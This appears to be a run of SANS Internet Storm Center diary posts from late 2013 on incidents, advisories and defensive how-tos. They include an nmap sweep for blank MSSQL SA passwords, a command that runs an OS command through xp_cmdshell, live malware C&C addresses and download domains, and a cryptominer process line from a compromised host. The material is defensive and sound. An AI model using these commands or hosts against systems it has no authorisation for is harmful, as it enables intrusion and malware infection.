A few readers have written asking about odd denials when trying to use Juniper VPNs.  Turns out they released a Product Support Notification (subscription required) about their host check feature which fails on endpoints that have a local date set 12/31/2013 or later.  There are working on a fix but as a workaround, you can change the local date on the PC, disable host checker verification all together or create a manual host checker process that disables checking firewall, anti-virus and/or anti-spyware predefined checks.  Juniper plans to release a fix some time between 12/31 and 1/3/14.

--
John Bambenek
bambenek \at\ gmail /dot/ com
Bambenek Consulting

Update 29 DEC: Per OpenSSL.org, re: web site defacement, "Investigation in progress, more details to follow."

While now recovered and seemingly back to normal, http://www.openssl.org appears to have been defaced.

See the Zone-H mirror here.

As soon as root cause (aside from malfeasance from TurkGuvenligi) is deteremined and announced, we'll update the diary.

Follow the amusing speculation via Twitter.

For the last few years, we have been using subversion to manage our source code and move code live. One thing we overlooked was the fact that the .svn directories were exposed on our web server. Thanks to Ehraz and Umraz Ahmed ( #securityexe and #umrazahmed on twitter) for reporting this problem to us.

As a solution, we made a couple of configuration changes:

- prevented access to the directories via a "<Directory>" directive,
- added respective rules to our web application firewall.

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

Hope you had a fabulous Christmas for those who celebrate it, for those who do not, a hearty cheers to you!

In the spirit of a fabulous weekly service, DRG Weekend Reads, provided by our friends over at the Dragon Research Group, and courtesy of reader and contributor Gebhard, I offer you an additional list of great weekend reading items.

1. Symantec: Hackers Spend Christmas Break Launching Large Scale NTP-Reflection Attacks
2. WhiteHat Security: Why com.com Should Scare You
3. Zscaler: Infection found on ‘feedburner.com’
4. Ditto Forensic FieldStation, multiple vulnerabilities
5. Krebs On Security: Who’s Selling Credit Cards from Target?
    

Symantec has notice in the last few weeks that there is a significant NTP reflection attacks. NTP is Network time protocol and it’s used to synch the time between client and server, it is a UDP protocol and it’s run on port 123.

In the NTP reflection attack the attacker send a crafted packet which request a large amount of date send to the host.

“In this case, the attackers are taking advantage of the monlist command.  Monlist is a remote command in older version of NTP that sends the requester a list of the last 600 hosts who have connected to that server.  For attackers the monlist query is a great reconnaissance tool.  For a localized NTP server it can help to build a network profile.  However, as a DDoS tool, it is even better because a small query can redirect megabytes worth of traffic:”

Here is an example of monlist request

  And here is the output

Or you can run a nse script which can be found at https://svn.nmap.org/nmap/scripts/ntp-monlist.nse       

And here is the packet capture of the NMAP script request:

And here is the packet capture of the response:

One way of protecting NTP server from such attack is adding

 To /etc/ntp.conf file

 And here is the output of the NMAP script after adding this command :

When someone suspecting that a malware activity that may exist in a system or a compromised systemone of the most obvious places to check is the startup locations .In this diary I am going to discuss some of the startup locations in Windows Systems:
1-Startup Folders:
On Windows XP systems:
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
C:\Documents and Settings\%UserName%\Start Menu\Programs\Startup
On Windows Vista/7/8
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup
C:\Users\%UserName%\Appdata\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

When an executable file (application or batch file) is located in the All Users folder will run for any user when he/she logon, while when it's located in particular user’s folder it will run only for that  user when he/she logon.
Please note that the above locations are the default and it can be changed, I will suggest first to check the following registry keys:
On Windows XP /Windows Vista/7/8 (See figure 2):
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

This time of the year is pretty good in companies. Many people are enjoying the holidays, there's not that many problems in day-to-day job and everything is quiet. Perfect time of the year to perform some default configuration check that might be used by an attacker to compromise windows servers, data and any other information asset within the domain.

There's a pretty old extended stored procedure available in Microsoft SQL Server called xp_cmdshell. This procedure allows to execute commands in the operating system with the same rights as the Microsoft SQL Server service account. The procedure is pretty insecure and as of today is disable by default. It is used by many developers as a shortcut to easily develop distributed applications by invoking external applications and passing arguments as plain-text files.

So, what's the vulnerability? If you instruct your developers to always place a password to the SA user on their machines and tell them not to use xp_cmdshell, you are fine. Otherwise, people could connect to the Microsoft SQL Server instance using utilities like sqlcmd and execute commands like user creation and user group modification to add it to the administrators group.

How can you tell if there are Microsoft SQL Instances with a blank password for the SA user? You can take advantage of the ms-sql-empty-password nmap script. This script allows to perform a quick check in your network for that vulnerability. For example, if you want to check the empty password for the 192.168.0.0/24 network, you only need to execute the following command: nmap -p 1433 --script ms-sql-empty-password --script-args mssql.instance-all 192.168.0.0/24.

If you get any outputs like the following:

Nmap scan report for 192.168.0.144
Host is up (0.00s latency).
PORT     STATE  SERVICE
1433/tcp open ms-sql-s

Host script results:
| ms-sql-empty-password:
|   [192.168.0.144\MSSQLSERVER]
|_    sa:<empty> => Login Success
 

That means the computer has the vulnerability. If you can execute the following command successfully without any errors, you might be prone to other nasty vulnerabilities like windows local user creation, adding users to the windows Administrators group, changing windows user passwords, among many others:

sqlcmd -q "exec xp_cmdshell 'dir c:\'"

So, what do we need to enforce to prevent this problems? First, ensure that the SA user has a password by placing it. Second, disable the xp_cmdshell if you don't need it.

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter: @manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

We wish you a merry christmas and hope you enjoy a lot with your families!

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter: @manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

SANS ISC reader Christopher found the following in the crontab of a customer's CentOS machine. I include it as an image here, to keep your anti-virus from panicking on this diary six months from now ...

Roughly every 90 minutes, this crontab will download and start the latest version of a backdoor / DDoS trojan off the dgnfd564sdf website. Every minute, it will also turn off the firewall if one is running (iptables stop) and try and hide its presence (history -c,  >.bash_history, etc). Current assumption is that the bad guys got in via an unknown webmin vulnerability or - most likely - via a weak password. We're still investigating the binaries:

5d10bcb15bedb4b94092c4c2e4d245b6  atdd
0d79802eeae43459ef0f6f809ef74ecc  cupsdd
9a77f1ad125cf34858be5e438b3f0247  ksapd
9a77f1ad125cf34858be5e438b3f0247  sksapd
a89c089b8d020034392536d66851b939  kysapd
a5b9270a317c9ef0beda992183717b33  skysapd

All six are >1.2mb and of type "ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped". The wget links are currently still live, investigate at your own risk.

If you have seen the same thing or additional insights, please share in the comments below!

Wondering what the Costco / Walmart malware (yesterday's diary) was up to, we ran it in a lab environment. It happily connected to its Command&Control (C&C), and soon after started spamming the next round of bait. The upcoming scam email apparently looks like this:

and it comes complete with an EXE, named something like "Court_Notice_Jones_Day_Washington.exe", current MD5 84fae8803a2fcba2d5f868644cb55dd6 (Virustotal)

The C&C of the original Costco sample was at 89.32.145.12:443 and 188.40.130.18:8080. A supplemental binary was pulled from 50.31.146.101:8080. If you have additional information on this scam or yesterday's Costco/Walmart version, please share in the comments below. Thanks to Francis Trudeau of Emerging Threats for help with the analysis and gathering the C&C traffic.

Yes, it's this time of the year again. There's a new wave of email making the rounds, with a message that looks as follows

The URLs look like this

The subject seems to be one of "Delivery Canceling", "Express Delivery Failure" or "Standard Delivery Failure". Next to Costco, the same scam is currently ongoing for BestBuy and Walmart, maybe others. The links are (appear to be) random or encoded, there is no repeat occurrence of the URL and "package number" for the entire sample set that we have. It could well be that the BASE64 portion of the URL contains an encoded hash of the email address to which the phish was sent, so when you play with one of the samples, be mindful that you could be confirming the email address back to the bad guys  [for that reason, the two URLs above are facsimile only, and not the real thing]

For a change, clicking on the link doesn't bring up a web form asking for your credit card number. Instead, it quite bluntly downloads a ZIP which contains an EXE. What makes this particular version more cute than others is that the EXE inside the ZIP is re-named on the fly, based on the geolocation of your download request.  In my case, this spoiled the fun some, because "CostcoForm_Zürich.exe" and "CostcoForm_Hamburg.exe" didn't look all that credible: There are no Costcos in Switzerland or Germany :). 

We have seen this "geolocation" approach at malware delivery used more frequently in the past weeks, for example also in a WhatsApp spam spree ten days ago. I assume someone who would click on "CostcoForm.exe" might be even more inclined to do so if the file is called "CostcoForm_DesMoines.exe" or the like, and the user is in fact residing in that same town.

As for the malware:  Lowish detection as usual, Virustotal 12/44 . Malwr/Cuckoo analysis.  The malware family so far seems to have a MUTEX of "CiD0oc5m" in common, and when run, it displays a Notepad that asks the user to try again later (while the EXE installs itself in the background).  Further analysis is still ongoing.

Hosts currently seen pushing the malware include

bmaschool.net Address: 61.47.47.35
bright-color.de Address: 78.46.149.229
am-software.net Address: 64.37.52.95
artes-bonae.de Address: 81.169.145.149
automartin.com Address: 46.30.212.214
almexterminatinginc.com Address: 50.63.90.1
brandschutz-poenitz.de Address: 81.169.145.160

All these sites have been on the corresponding IP addresses since years, which suggests that these are legitimate web sites that have been compromised/hacked, and are now being abused to push malware.

If you have additional info on this scam, especially if you have seen the same scam for companies besides Costco, Walmart and Bestbuy, please let us know in the comments below, or share a sample via our contact form.

On Sunday, VMWare released a security advisory VMSA-2013-0016 and involves the ESX (versions 4.0 & 4.1) and ESXi (versions 4.0 through 5.5) products.  A vulnerability exists within the products which could allow an unpriviledged vCenter user to arbitrarily have read or write access to files. Removing the "Add Existing Disk" permission or limiting the number of vCenter users with this priviledge can reduce the risk of exploitation until updates can be applied.   More details are available at the VMWare Security Advisory page located at http://www.vmware.com/security/advisories/VMSA-2013-0016.html

--

Scott Fendley
ISC Handler

When Java 7 Update 21 came out in March ( https://isc.sans.edu/forums/diary/Java+7+Update+21+is+available+-+Watch+for+Behaviour+Changes/15620 ), there was a fair amount of discussion about Java Whitelisting.  This is a valuable feature, allowing you to permit execution of specific business applications based on Java, right down to nailing down specific Java versions for each app, and deny all other Java applications (from untrusted internet sites for instance).  However, making this happen in a corporate environment (which in many cases means Active Directory) is not as straightforward as you might think - folks seem to think this is just too complex to tackle, and as a result we're not seeing a lot of folks using this feature.

Let's cover this challenge from beginning to end.  If you find a step that I describe that might be done better or differently, please let us know in the comment form at the bottom of this page.

The first step of course is to define the business applications require Java, so that we know what to whitelist.  I'll pick administration of my home firewall - the GUI admin for Cisco ASA firewalls is a java app. 

So for me, that app is https://192.168.122.1.  In a real corporate setting this would generally use DNS and possibly a more complete URL.  I still trip over business apps accessed by IP address, but we try to kill them off as we find them.

Optionally you can also use the hash of the public certificate for the Java app.  This is a better definition for the application, as this will remain consistent if you migrate to a different host or if you place the app on a load balanced farm of servers.

Given that this is for my home firewall, I have a self-signed cert, but hashing it still works.  Generally you can get the public certificate from the server (or load balancer) admins, or you can pull it off the server directly.  We'll use the keytool app distributed with Java:

C:\work>"\Program Files (x86)\Java\jre7\bin\keytool.exe" -printcert -sslserver 192.168.122.1:443
Certificate #0
====================================
Owner: CN=ASA Temporary Self Signed Certificate
Issuer: CN=ASA Temporary Self Signed Certificate
Serial number: 23e1af52
Valid from: Tue Dec 17 00:29:07 EST 2013 until: Fri Dec 15 00:29:07 EST 2023
Certificate fingerprints:
         MD5:  26:56:67:AB:FC:97:B7:41:45:79:99:E2:4E:32:4F:35
         SHA1: 12:D5:FC:89:EF:5D:24:CE:42:4B:63:76:1E:A3:22:C7:F9:AC:87:55
         SHA256: 4D:F7:47:31:BD:35:F6:99:64:3B:11:C5:EE:35:DB:FF:90:71:CB:2F:EC:
0A:35:AA:E9:5F:19:F5:87:90:11:82
         Signature algorithm name: SHA1withRSA
         Version: 3

We want the SHA256 hash, with the separators removed: 4DF74731BD35F699643B11C5EE35DBFF9071CB2FEC0A35AAE95F19F587901182

With that in hand, we're ready to create a ruleset.xml file to hold the rules that make up our policy.  In a corporate setting you'll likely have several whitelisted apps in this file, they all go in the file.  There are a few shown in this file (based on Java's example):

<!-- Based on the Example Deployment Rule Set that allow a desktop administrator to control end-user's execution of browser applets.
  See http://docs.oracle.com/javase/7/docs/technotes/guides/jweb/deployment_rules.html
  Firewall administration for defaultroute.ca  -->
<ruleset version="1.0+">
    <rule>
        <id location="https://192.168.122.1" />
                        <certificate algorithm="SHA-256"
                hash="4DF74731BD35F699643B11C5EE35DBFF9071CB2FEC0A35AAE95F19F587901182"
        <action permission="run" />
    </rule>
    <rule>
        <id location="https://someother.permittedapplication.com/program" />
        <action permission="run" version="SECURE-1.6" /><!-- For example if an application is known not to work on Java 1.7 -->
    </rule>
    <rule>
        <id location="http://localhost" />
        <action permission="run" />
    </rule>
    <rule>
        <id>
            <certificate algorithm="SHA-256"
                hash="794F53C746E2AA77D84B843BE942CAB4309F258FD946D62A6C4CCEAB8E1DB2C6" /><!-- Oracle's public certificate hash. Having this will allow things like the Java.com

secure version check applet. -->
        </id>
        <action permission="run" />
    <rule>
        <id /><!-- Because this is both blank and shown last, it will be the default policy. -->
        <action permission="block">
            <message>Blocked by corporate. Contact myemail@mycompany.com if you need to run this app.</message>
            <message locale="fr">Bloqué par l'entreprise. Contacter myemail@mycompany.com si vous avez besoin d'exécuter cette application.</message>
        </action>
    </rule>
</ruleset>

Full docs for this file can be found here: http://docs.oracle.com/javase/7/docs/technotes/guides/jweb/deployment_rules.html

We now take this file and package it in a JAR file using a trusted certificate.  This prevents your users from editing this file after it's distributed to bypass your defined policies.  You'll need the full JDK for this (jar.exe is not in the JRE distribution).

C:\work>"\Program Files\Java\jdk1.7.0_45\bin\jar.exe" -cvf deploymentruleset.jar ruleset.xml
added manifest
adding: ruleset.xml(in = 341) (out= 185)(deflated 45%)


C:\work>"\Program Files\Java\jdk1.7.0_45\bin\jarsigner.exe -verbose -keystore "c:\work\javakeystore_keepsecret.jks" -signedjar DeploymentRuleSet.jar DeploymentRuleSet.jar defaultroute-ca
Enter Passphrase for keystore:
 updating: META-INF/MANIFEST.MF
   adding: META-INF/COSTLOW-CA.SF
   adding: META-INF/COSTLOW-CA.RSA
  signing: ruleset.xml

Finally, we need to copy the final file to the corporate workstations, to specific locations:

    Windows: C:\Windows\Sun\Java\Deployment
    Mac, Linux, Unix: /etc/.java/deployment

In a typical organizaation, you might have 7 or 10 different rulesets to whitelist various combinations of applications.  How do we get these various combinations to the desktop?  Note that the location is NOT in the specific user directories.  So what happens when someone governed by a different policy logs into the host?

You could copy your file in the login script, maybe using the IFMMEMBER command (from the Windows Server Resource Kit)?  Something like:

ifmember Marketing then GOTO MKTLOGIN
ifmember Engineering then GOTO ENGLOGIN
....
:MKTLOGIN
xcopy \\servername\sharename\wljava.jar c:\windows\sun\java\deployment /y

However, as time goes on the lengthy and convoluted login scripts we had in the '90's are dwindling, and in many cases are now empty - people are using Group Policy for many of the things we used to get done in login scripts.

So how do we do this in AD?  

========= Group Policy Method #1 =========

We'll use  User Configuration \ Preferences \ Windows Settings \ Files  (there's a matching setting under Computer Configuration, but that's not so applicable to User Groups).

Choose "New / File", and change the default to "Replace" - remember that there might be a file in the destination location, copied there for another user who might have different policy requirements.  Update the source and destination paths.

Save it, apply it as you would any other Group Policy ,and you're done!

========= Group Policy Method #2 =========

If you've got other Group Policy functions that you need to combine with this, you can use User Configuration \ Policies \ Windows Settings \ Scripts (Logon/Logff) \ Logon.  Consider this Group Policy setting to be today's version of yesterday's login scripts.

Be sure to store the script files in the Domain Policy directory:

c:\SysVol\defaultroute.ca\Policies\{Policy GUID}\Machine\Scripts\Startup, so on my server, that's in:
C:\Windows\SYSVOL\sysvol\defaultroute.ca\Policies\{CD37CDDF-8486-41DE-81A7-62F596F1BCFD}\User\Scripts\Logon

The file copy line in the script might look like:

xcopy \\%LOGONSERVER%\NETLOGON\javawl.mktg.jar c:\windows\sun\java\deploymentruleset.jar /y

If you use this second file copy approach, you'll likely want the files to reside in the NETLOGON directory so that AD replication will copy it to all DC's.  The NETLOGON directory is at:

c:\windows\sysvol\sysvol\domainname\scripts, in my domain's case:
c:\windows\sysvol\sysvol\defaultroute.ca\scripts

This second method is quite a bit more complex - there's a number of file locations that need to be exactly right, and scripts that need to match them, but if you need more scripting done in your Group Policy than just copying the JAR files or other things that you can accomplish in other Group Policy settings, it's a good way to go.

======================================

Either way you copy your JAR files, Group Policies are a central place to administer almost everything - if you can bolt on generic file copies to that, and can keep everything in one place, that's a HUGE win for simplified administration!

And speaking of a "win" - once this is in place, your user community will have access to "blessed" java apps, but will not be able to execute any other java applications.  Which means that when the next Java zero day is announced, you'll likely be able to sleep that night and not worry about what the next day will bring you at work!

Again, if you've got a simpler or alternative way to get this job done, I'm certainly interested and so are our readers - please use our comment form to share!

==========================
Rob VandenBrink
Metafore

We have received a pcap sample of DNS queries that display a strange behavior. The queries are type ANY for domains ghmn.ru and fkfkfkfa.com. When doing a nslookup, both domains have 100 IPs listed under their domain names with each of them resolving exactly the same last octets (i.e. .1, .10, .100, etc). Queries with the same transaction ID are often repeated several times. The traffic samples we have received indicate the queries are sent by either a host or a server.

If anyone else is seeing queries for either of these domains or queries with a similar behavior and can share some pcap or logs, you can submit them via our contact page.

Wireshark example of a query:

[1] https://www.robtex.com/dns/ghmn.ru.html#shared
[2] https://www.robtex.com/dns/fkfkfkfa.com.html#shared

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu

When thousands of access credentials and email addresses of Adobe customers were breached back in October,  we expected that phishing attacks that make use of the stolen information would follow. Surprisingly, it seems to have taken the bad guys quite a while to kick off anything serious - the only mails we got so far on a compromised address that we converted into an Adobe phishing honeypot were the usual spam emails peddling the usual goods. But today, Adobe themselves issued a warning http://blogs.adobe.com/psirt/2013/12/20/alert-adobe-license-key-email-scam/ suggesting that something more nefarious must be going on. If you have a sample of this email, please share via our contact form.

Since the Adobe and now the Target breach both affected about 40 million people .. odds are that half a million or so might be on both lists. So if you are getting an email from "Target" on the email address that you used for Adobe, you might want to be extra careful, too ...

Recently, while conducting a review at a community college where I'm helping out with security, we tried to determine why they kept having remote logins to generic student accounts, even though they had just reset all the passwords and erased all the home directories, to prepare for a new course.

The probably good news is that they noticed. The not so good news is that they couldn't figure out what was going on. Turns out that some of the student home directores contained a .ssh folder, which in turn contained an authorized_keys file. Some of these files were from as far back as 2011, and others contained a dozen or more public keys. Nobody had any idea of where the corresponding private keys were, and who had access to them, but it is safe to assume that former students had added a key of their own, and some of them had kept occasionally using the lab accounts.

When the teacher prepped the systems for a new set of lab exercises, he reset all the passwords, and erased all the contents of the home directories.  All the contents?  No. The cleanup script that they used did a for-loop over the existing home folders, and basically ran

cd /home/user1
rm -rf *
cd /home/user2
etc

which .. to their surprise .. left the ".ssh" folders and its contents in place. [Why? Well, "*" is a shell expansion, and customarily ignores "hidden" files that start with a "dot". But that's a different story :)]  Due to this, all the authorized_keys remained, and the corresponding keys continued to work, no matter how often the administration reset the passwords on the student lab accounts.

Oops.

Once we had this figured out and resolved, we wondered how many more stale authorized_keys files they had elsewhere in their Unix environment, so we went hunting from box to box:

find / -name "authorized_keys" -exec ls -ald \{\} \;

The advantage of doing it this way is that the "ls" command conveniently lists both the file size and the file timestamp, like thusly:

-rw------- 1 theowrig users 605 Apr 25  2008 /home/theowrig/.ssh/authorized_keys
-rw------- 1 stuhouwe users 393 May 15  2010 /home/stuhouwe/.ssh/authorized_keys
[...]

which gives a first indication of possible issues. While user "theowrig" was still working at the college, he had no idea what or where the corresponding private key was. No abuse of this particular account was detected when we reviewed the logs, but the account basically was a sitting duck since 2008 if anyone else once had access to the corresponding private key.

Long story short: If you are running a Unix environment that permits key-based SSH login, maybe it is a good idea to check for stale authorized_keys files. You can go by date and file size for a first triage, but often will find that you need to look at the file contents themselves for an indication whose key in the past might have been authorized to do what.

Another worthwhile exercise is to check the SSH logs for as far back as you have them, and to extract which accounts are being connected to by means of key-based login:

debian:/var/log# cat sshd | grep -i "accepted publickey" | perl -pe 's/.*for (\S+) from (\S+).*/$1 $2/' | sort | uniq -c | sort -rn
   1008 rendwras x.x.63.79
    550 sablythe x.x.25.12
    263 markraji x.x.25.235
    223 rendwras x.x.10.141
    211 arfranci x.x.65.90
    [...]

This example shows user "rendwras" as a frequent user of key-based login, and he is accessing from two different IPs. Unfortunately, SSH by default does not log the fingerprint of the key that is being used, but even without this information, a quick tally of the logs like shown here can help to spot issues. If you have any other tips on how to keep tabs of private and public keys authorized for ssh login, please share in the comments below.

Brian Krebs has a nice write-up on the Credit Card data breach at Target US ( http://krebsonsecurity.com/ )

The interesting thing for me in this story is that it affects US locations only.  The reason that this is interesting is that the data that was stolen was all mag-stripe data.  This mag-stripe data is much less useful on a  CHIP+PIN card, which is used in pretty much every other country on the planet.  We'll continue to see credit card attacks focus on countries that make it easy - while of course you can steal / duplicate a chip+pin card, for a criminal it's so much easier to simply skim a mag stripe and take the win.

===============
Rob VandenBrink
Metafore

Last week, we discussed why you'd want to do passive vulnerability scanning at strategic points in your network https://isc.sans.edu/diary/Scanning+without+Scanning/17189, and which tools you might commonly do that with.  After some reader feedback, I thought we'd discuss just exactly how to do this with both p0f and PVS.  Both packages we're discussing have a gotcha or two, so it's worth a "how-to" from start to finish.

And, to paraphrase the Dos Equis guy: "I don't often install an OS on bare metal, but when I do, it's usually a hypervisor".  So today's discussion will cover off two methods to do passive scanning of a network segment's traffic inside of a VM.

Passive Scanning for Free - p0f

In this section we'll cover off installing and running p0f, a free passive "fingerprinting" scanner.

First of all, both Security Onion and Kali both come with an older (v2.08) version of p0f.  I chose to install the newer version, 3.06b, downloaded from http://lcamtuf.coredump.cx/p0f3/

The first thing that you'll notice is that the install is a bit strange - it's got a bundled "build.sh" installer which checks dependancies then installs.  The kicker is that no matter what, it tells you that libpcap isn't installed - even though you KNOW it's there!  After finally breaking down and running "vi README" and still getting nowhere, I realized that if I had read the actual messages from build.sh, I would know that it needs the development libraries from libpcap.

To get these (in ubuntu), run "sudo apt-get install libpcap-dev".  NOW you can likely run build.sh successfully!

Next, on to running the app.  p0f runs by sniffing the network and then reporting on what it sees, so you need to give it something to see.  The easy way to do this is to set up a SPAN port on your switch so that traffic from elsewhere is "mirrored" to the p0f port.  In this setup, I'm monitoring all traffic on the "family" segment (vlan 1) of my home network.  On a cisco switch, this will look similar to:

monitor session 1 source vlan 1
monitor session 1 destination interface g0/2

If you put p0f into a virtual machine, be sure that you either:

a/ dedicate an ethernet to it using vt-d (called DirectPath I/O in ESXi)
or
b/ enable promiscuous mode in the virtual switch or port group.  Since I've got multiple sniffers on my ESXi host, I chose this second option.  I created a dedicated "PROMISCUOUS" vSwitch for this purpose, and attached it to the vNIC attached to the physical switch port g0/2, then set the port group to allow Promiscuous mode.   If you are monitoring several VLANS, be sure to put the port group into VLAN 4095 (which tells VMware that the VM will correctly handle tagged frames for multiple VLANs).  When done, the vSwitch config looks like:

NOW you're ready to run the app.  There are a few different modes to run in.

The basic text output from "sudo p0f -i eth0" will look like:

This basic "dump to the screen" mode gives you nicely formatted text, but after a few minutes of watching it whiz by you'll realize that this will be impossible to parse into a spreadsheet or database or really do much useful with.  You probably want to output to a file, which will create a CSV file that you can parse into a spreadsheet or database table, using "pvs -i eth0 -o pvsout.txt".  Finally, you can also run p0f against an existing saved PCAP file:

So, what did I find?  After importing into excel and playing with the data:

• My windows 7 machine running firefox 25 showed up more than a few times.  While the Firefox user agent string correctly identified the browser, p0f ignores that and identifies the browser by other indicators, which is likely a wise choice given how easy it is to lie with your user agent string.
• My kid playing minecraft on his win7 machine
• Various iPhones, iPads and iPods - they all show up as "IOS"

Passive Scanning with a real budget - PVS

Because we used VMware's promiscuous mode support for p0f, I chose to dedicate a NIC using VT-d (DirectPath I/0 in ESXi speak) for PVS.  After cabling the NIC (and before I forget), set up the second monitor session on your switch to allow vlan-wide packet sniffing - so, on the switch:

monitor session 1 source vlan 1
monitor session 1 destination interface g0/3

(again, it's in cisco-speak, but everyone's switch monitor syntax is fairly similar)

Back over the VMware, we need to determine which NIC we can use to dedicate to the VM.  In our case, it's vmnic3.  We'll then use the vCLI to determine which PCI device number is associated with that NIC (we'll need this number in the next step).  You can install vCLI on your laptop (the preferred method by far), or run these commands within the hypervisor's CLI if you have that enabled.

esxcfg-nics -l
Name    PCI           Driver      Link Speed     Duplex MAC Address       MTU    Description
vmnic1  0000:04:00.00 e1000e      Up   1000Mbps  Full   00:e0:81:ce:98:be 1500   Intel Corporation 82574L Gigabit Network Connection
vmnic2  0000:05:00.00 e1000e      Up   100Mbps   Full   00:e0:81:ce:98:bf 1500   Intel Corporation 82574L Gigabit Network Connection
vmnic3  0000:06:00.00 e1000e      Down 0Mbps     Half   00:e0:81:ce:98:c0 1500   Intel Corporation 82574L Gigabit Network Connection

Now, over to the vSphere client.  We'll edit the VM / Configuration / Advanced Settings, and we'll edit DirectPath I/O.  Choose "edit", and enable device 06:00:00 as enabled for passthrough. 

Note that you'll likely see a little red "reboot" icon over the device after it's set up - this indicates that the ESXi host needs a reboot to finish the process.  It's so rare that we need to reboot these that it caught me by surprise - good thing it's in my home lab, all I need to book around is my wife using the DLNA server and my kid using the minecraft server. 

Finally, over to the VM.  Add a device, and instead of an Ethernet adapter, we'll select "PCI Device", and choose the ethernet NIC we just reserved.

Before you start the install of PVS, be sure that you have MS Visual C++ installed (any version, i used the redistributable 2010).  If this is a new VM,  C++ likely won't be installed and the PVS install will complete with no errors, but it won't work - the PVS install does not check dependancies for you.

Once the install is done, fire up your services list and start "Tenable PVS Proxy" service.  The install app won't start this for you.

THe final configuration steps are in your browser - browse to https://localhost:8835 - you'll need to identify the network list to be monitored (192.168.122.0/24 in my case), change the default admin/admin credentials, and also identify which interface is "sniffing".  Since they represent this in the NPF notation, I cheated and used Wireshark to figure out which interface was which.

Once installed, the PVS output was pretty much what I expected.  I fired up a few ssh and browser sessions on my laptop, hosts and clients where properly identified, the only risk that showed up was my DLNA server was running UPNP - which i need to chase down, I'm not sure it's needed or not.  The basic monitor screen shows a colour-coded screen by host:

But then I fired up some internet functions on our TV, and immediately got a screen full of red.  Not only is our TV running an old version of Opera, but it's got an XSS vulnerability!  Oh, and it's also running UPNP (no surprise there).  I think it's time to update my TV!

It also found the Flash versions on all hosts that had flash.  This in itself is worth the price of admission on a corporate network!  As time goes on, you'll see more and more applications that generate network traffic show up in the list.

An interesting situation is that in the vulnerability page, PVS identifies all of our i-devices (and we have a bunch), but Apple IOS is not listed in the discovered Operating Systems page.    It was nice to see that it could tell an iPod from an iPad.  Each of these findings has more pages of detail behind it of course.

As in any scanner, there was one false positive.  The DHCP server that I have running on my ASA Firewall was mis-identified as a vulnerable ISC DHCP server (from isc.org, not isc.sans.edu), but as with any scanner, system log or monitoring tool, you need to a/ look at the results and b/ apply some thought to the results, so a false positive here or there is much better than missing information entirely (false negatives).

The main "monitor" screen is a close to real-time display, with a short memory (you can configure the retention times).  This is a good thing in a corporate environment, as mobile devices on a network today might be on a different network in an altogether different location tomorrow.  There is a "results" tab that snapshots results at regular intervals (also configurable), so that you still have access to historical content.

While PVS found things on the network that p0f did not, the reverse is also true.  The major difference for me was the data presentation.  If you are short of time (which I think we all are), a colour coded display that lays everything out has a lot of value.  On the other hand, if you need to get into the weeds, the logs from p0f provide a lot more detail than PVS graphical screens do.  Mind you, the volume of raw data that comes with it makes weeding through the data a challenge, and until you get some scripts that suit your requirements it can take a lot of time.

A final note - if you use PVS and are yearning for the hundreds or thousands of log entries per day that p0f would give you, you can configure PVS to cough up that raw data as well.  More correctly, you can configure it to syslog it for you - there are separate settings for a "realtime syslog server list" and a "vulnerability syslog server list".  An important note on these settings, just punching in your syslog server IPs into these fields will not work, you need to include the listening ports:

You can then parse your syslog entries for PVS data with "cat syslogdata.txt | grep PVS" (*nix)  or "type syslogdata.txt | find PVS" (windows) 

If you use a different passive scanning tool, or have found something *interesting* while running passive scans on your network, please share on our comment form

All in all, this was a fun little bake-off, I'll be leaving both products running on my home network long term.  I hope you have as much fun installing one or both on your home network (or even better, your network at work) over the holdays!

===============
Rob VandenBrink
Metafore

Download the relevant updated version from: http://www.wireshark.org/download.html

   The following vulnerabilities have been fixed.
     * [1]wnpa-sec-2013-66
       The SIP dissector could go into an infinite loop.
       Discovered by Alain Botti. ([2]Bug 9388)
       Versions affected: 1.10.0 to 1.10.3, 1.8.0 to 1.8.11
       [3]CVE-2013-7112
     * [4]wnpa-sec-2013-67
       The BSSGP dissector could crash. Discovered by Laurent
       Butti. ([5]Bug 9488)
       Versions affected: 1.10.0 to 1.10.3
       [6]CVE-2013-7113
     * [7]wnpa-sec-2013-68
       The NTLMSSP v2 dissector could crash. Discovered by Garming
       Sam.
       Versions affected: 1.10.0 to 1.10.3, 1.8.0 to 1.8.11
       [8]CVE-2013-7114

Cheers,
Adrien de Beaupré
Intru-shun.ca Inc.
My SANS Teaching Schedule

Apple have released the following security advisories and updates for Mac OS X and Safari. OS X Mavericks v10.9.1 and APPLE-SA-2013-12-16-1 Safari 6.1.1 and Safari 7.0.1. More information will be available from their web site: http://support.apple.com/kb/HT1222

Cheers,
Adrien de Beaupré
Intru-shun.ca Inc.
My SANS Teaching Schedule

I recently ran across an interesting compromised system. While the initial vulnerability compromised was nothing special, compromised credentials, what the system was being used for and one of his persistence technique was a lot less common than I normally see.  The system had 3 different backdoors and was used for mining virtual currency.

When responding to the system, I quickly noticed that an unknown process was running.  Additionally, I saw that the running process was deleted and an additional file with the process had also been deleted(See Below).  This is a common technique for attackers on Linux systems, while the file is marked deleted on the file system, the process keeps it open until its stopped.

Minerd

--------------

PS Results

1 S www-data 13335     1 99  80   0 - 13941 -      Nov10 ?        12-01:46:12 ./minerd -o stratum+tcp://mine.pool-x.eu:9000 -u <user> -p <pw>--algo scrypt --no-longpoll -B

LSOF Results

minerd    13335   www-data  txt       REG        8,1   379680     385036 /tmp/minerd (deleted)

minerd    13335   www-data    4u     IPv4   14473113                 TCP d.local:41591->mine.pool-x.eu:9000 (ESTABLISHED)

--------------

